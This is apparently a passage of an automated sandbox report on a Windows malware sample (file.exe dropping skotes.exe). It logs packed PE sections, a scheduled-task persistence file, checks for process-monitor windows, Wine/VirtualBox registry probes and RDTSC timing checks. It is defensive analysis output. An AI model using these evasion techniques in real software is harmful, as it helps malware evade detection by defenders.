Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.ec0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.ec0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.ec0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x1d9e2d should be: 0x1e3ff7
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d9e2d should be: 0x1e3ff7

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: dkmnrssd
Source: file.exe	Static PE information: section name: tqafgssw
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: dkmnrssd
Source: skotes.exe.0.dr	Static PE information: section name: tqafgssw
Source: skotes.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00EDD91C push ecx; ret

6_2_00EDD92F

Source: file.exe	Static PE information: section name: entropy: 7.985416397888055
Source: file.exe	Static PE information: section name: dkmnrssd entropy: 7.954101495285281
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.985416397888055
Source: skotes.exe.0.dr	Static PE information: section name: dkmnrssd entropy: 7.954101495285281

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6309 second address: 4F6325 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F07h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6325 second address: 4F632B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F632B second address: 4F6333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC1E2 second address: 4FC1E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC339 second address: 4FC386 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F075D128EFBh 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F075D128EFAh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F075D128F05h 0x0000001b jmp 00007F075D128F07h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC386 second address: 4FC393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F075CBABEC6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC54D second address: 4FC551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
